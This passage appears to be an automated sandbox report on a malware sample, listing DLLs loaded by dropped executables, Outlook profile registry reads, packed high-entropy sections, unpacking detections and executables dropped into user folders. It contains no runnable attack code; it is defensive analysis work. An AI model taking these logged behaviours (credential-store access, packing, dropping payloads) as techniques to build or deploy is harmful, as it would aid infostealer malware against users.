Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1820160 > 1048576

Source: file.exe

Static PE information: Raw size of kntikdlf is bigger than: 0x100000 < 0x1a2a00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2522999551.000000006CB4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: be33d1b9ea.exe, 00000020.00000003.2930938590.0000000004860000.00000004.00001000.00020000.00000000.sdmp, be33d1b9ea.exe, 00000020.00000002.3064925869.0000000000FA2000.00000040.00000001.01000000.00000010.sdmp, be33d1b9ea.exe, 00000022.00000002.3125430336.0000000000FA2000.00000040.00000001.01000000.00000010.sdmp, be33d1b9ea.exe, 00000022.00000003.3085015043.0000000005400000.00000004.00001000.00020000.00000000.sdmp, be33d1b9ea.exe, 00000025.00000002.3371914234.0000000000FA2000.00000040.00000001.01000000.00000010.sdmp, be33d1b9ea.exe, 00000025.00000003.3331506896.0000000005480000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2522999551.000000006CB4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.1a0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;kntikdlf:EW;xdprgvya:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;kntikdlf:EW;xdprgvya:EW;.taggant:EW;
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Unpacked PE file: 22.2.DocumentsECBGHCGCBK.exe.460000.0.unpack :EW;.rsrc:W;.idata :W;xgavsnrb:EW;dcsjrelb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xgavsnrb:EW;dcsjrelb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.40000.0.unpack :EW;.rsrc:W;.idata :W;xgavsnrb:EW;dcsjrelb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xgavsnrb:EW;dcsjrelb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Unpacked PE file: 26.2.28d9ab8742.exe.d60000.0.unpack :EW;.rsrc:W;.idata :W;haojiwdb:EW;htquzmvw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;haojiwdb:EW;htquzmvw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Unpacked PE file: 27.2.3daf81f16e.exe.910000.0.unpack :EW;.rsrc :W;.idata :W; :EW;kntikdlf:EW;xdprgvya:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;kntikdlf:EW;xdprgvya:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Unpacked PE file: 31.2.28d9ab8742.exe.d60000.0.unpack :EW;.rsrc:W;.idata :W;haojiwdb:EW;htquzmvw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;haojiwdb:EW;htquzmvw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Unpacked PE file: 32.2.be33d1b9ea.exe.fa0000.0.unpack :EW;.rsrc:W;.idata :W;jnqrnwwi:EW;fifesqlp:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Unpacked PE file: 33.2.3daf81f16e.exe.910000.0.unpack :EW;.rsrc :W;.idata :W; :EW;kntikdlf:EW;xdprgvya:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;kntikdlf:EW;xdprgvya:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Unpacked PE file: 34.2.be33d1b9ea.exe.fa0000.0.unpack :EW;.rsrc:W;.idata :W;jnqrnwwi:EW;fifesqlp:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Unpacked PE file: 35.2.28d9ab8742.exe.d60000.0.unpack :EW;.rsrc:W;.idata :W;haojiwdb:EW;htquzmvw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;haojiwdb:EW;htquzmvw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Unpacked PE file: 36.2.3daf81f16e.exe.910000.0.unpack :EW;.rsrc :W;.idata :W; :EW;kntikdlf:EW;xdprgvya:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;kntikdlf:EW;xdprgvya:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Unpacked PE file: 37.2.be33d1b9ea.exe.fa0000.0.unpack :EW;.rsrc:W;.idata :W;jnqrnwwi:EW;fifesqlp:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAD3480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CAD3480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 28d9ab8742.exe.24.dr	Static PE information: real checksum: 0x325d5c should be: 0x328867
Source: 3daf81f16e.exe.24.dr	Static PE information: real checksum: 0x1cae3f should be: 0x1c281b
Source: DocumentsECBGHCGCBK.exe.0.dr	Static PE information: real checksum: 0x31aba7 should be: 0x30c13d
Source: random[1].exe.24.dr	Static PE information: real checksum: 0x1cae3f should be: 0x1c281b
Source: file.exe	Static PE information: real checksum: 0x1cae3f should be: 0x1c281b
Source: be33d1b9ea.exe.24.dr	Static PE information: real checksum: 0x2afdbe should be: 0x2b29b3
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x325d5c should be: 0x328867
Source: random[1].exe0.24.dr	Static PE information: real checksum: 0x2afdbe should be: 0x2b29b3
Source: skotes.exe.22.dr	Static PE information: real checksum: 0x31aba7 should be: 0x30c13d

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: kntikdlf
Source: file.exe	Static PE information: section name: xdprgvya
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: DocumentsECBGHCGCBK.exe.0.dr	Static PE information: section name:
Source: DocumentsECBGHCGCBK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsECBGHCGCBK.exe.0.dr	Static PE information: section name: xgavsnrb
Source: DocumentsECBGHCGCBK.exe.0.dr	Static PE information: section name: dcsjrelb
Source: DocumentsECBGHCGCBK.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: haojiwdb
Source: random[1].exe.0.dr	Static PE information: section name: htquzmvw
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name: xgavsnrb
Source: skotes.exe.22.dr	Static PE information: section name: dcsjrelb
Source: skotes.exe.22.dr	Static PE information: section name: .taggant
Source: 28d9ab8742.exe.24.dr	Static PE information: section name:
Source: 28d9ab8742.exe.24.dr	Static PE information: section name: .idata
Source: 28d9ab8742.exe.24.dr	Static PE information: section name: haojiwdb
Source: 28d9ab8742.exe.24.dr	Static PE information: section name: htquzmvw
Source: 28d9ab8742.exe.24.dr	Static PE information: section name: .taggant
Source: random[1].exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name: .rsrc
Source: random[1].exe.24.dr	Static PE information: section name: .idata
Source: random[1].exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name: kntikdlf
Source: random[1].exe.24.dr	Static PE information: section name: xdprgvya
Source: random[1].exe.24.dr	Static PE information: section name: .taggant
Source: 3daf81f16e.exe.24.dr	Static PE information: section name:
Source: 3daf81f16e.exe.24.dr	Static PE information: section name: .rsrc
Source: 3daf81f16e.exe.24.dr	Static PE information: section name: .idata
Source: 3daf81f16e.exe.24.dr	Static PE information: section name:
Source: 3daf81f16e.exe.24.dr	Static PE information: section name: kntikdlf
Source: 3daf81f16e.exe.24.dr	Static PE information: section name: xdprgvya
Source: 3daf81f16e.exe.24.dr	Static PE information: section name: .taggant
Source: random[1].exe0.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name: .idata
Source: random[1].exe0.24.dr	Static PE information: section name: jnqrnwwi
Source: random[1].exe0.24.dr	Static PE information: section name: fifesqlp
Source: random[1].exe0.24.dr	Static PE information: section name: .taggant
Source: be33d1b9ea.exe.24.dr	Static PE information: section name:
Source: be33d1b9ea.exe.24.dr	Static PE information: section name: .idata
Source: be33d1b9ea.exe.24.dr	Static PE information: section name: jnqrnwwi
Source: be33d1b9ea.exe.24.dr	Static PE information: section name: fifesqlp
Source: be33d1b9ea.exe.24.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0B536 push ecx; ret	0_2_6CB0B549
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Code function: 22_2_0047D91C push ecx; ret	22_2_0047D92F
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Code function: 22_2_00471359 push es; ret	22_2_0047135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0005D91C push ecx; ret	23_2_0005D92F
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00CD4CDC pushfd ; ret	26_3_00CD4CF2
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00CD68DC pushfd ; ret	26_3_00CD6916
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00CD63D4 pushfd ; ret	26_3_00CD6596
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00CD4BFF pushfd ; ret	26_3_00CD4C02
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00CD66A0 pushfd ; ret	26_3_00CD6756
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00CD5041 pushfd ; ret	26_3_00CD504E
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00CD4958 push eax; retf	26_3_00CD4961
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00CD6675 pushfd ; ret	26_3_00CD6676
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00CD6D74 pushfd ; ret	26_3_00CD6DAA
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00CD6B39 pushfd ; ret	26_3_00CD6C5E
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00CD4B30 pushfd ; ret	26_3_00CD4B5A
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00CCF401 push esi; retf	26_3_00CCF6F9
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00CC732C push es; retn 0000h	26_3_00CC7596
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00C6D4C7 push ebp; retf	26_3_00C6D4CA
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00C6D4C0 push ebp; retf	26_3_00C6D4C2
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00C6D4CF push ebp; retf	26_3_00C6D4D2
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00C6D4DC push esi; retf	26_3_00C6D4E2
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00C6D4E8 push esi; retf	26_3_00C6D4EA
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00C6D4F1 push esi; retf	26_3_00C6D4F2
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00C6D6F8 pushfd ; retf	26_3_00C6D6F9
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00C6D4F9 push edi; retf	26_3_00C6D4FA
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00C6D484 push esp; retf	26_3_00C6D48A
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00C6D480 push ebx; retf	26_3_00C6D482
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00C6D490 push esp; retf	26_3_00C6D492
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00C6D499 push esp; retf	26_3_00C6D49A
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00C6D4A1 push esp; retf	26_3_00C6D4A2
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00C6D4A8 push edi; retf	26_3_00C6D51A

Source: file.exe	Static PE information: section name: kntikdlf entropy: 7.95335449432148
Source: DocumentsECBGHCGCBK.exe.0.dr	Static PE information: section name: entropy: 7.026037966205663
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.013699778680479
Source: skotes.exe.22.dr	Static PE information: section name: entropy: 7.026037966205663
Source: 28d9ab8742.exe.24.dr	Static PE information: section name: entropy: 7.013699778680479
Source: random[1].exe.24.dr	Static PE information: section name: kntikdlf entropy: 7.95335449432148
Source: 3daf81f16e.exe.24.dr	Static PE information: section name: kntikdlf entropy: 7.95335449432148
Source: random[1].exe0.24.dr	Static PE information: section name: entropy: 7.810928621903578
Source: be33d1b9ea.exe.24.dr	Static PE information: section name: entropy: 7.810928621903578

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsECBGHCGCBK.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
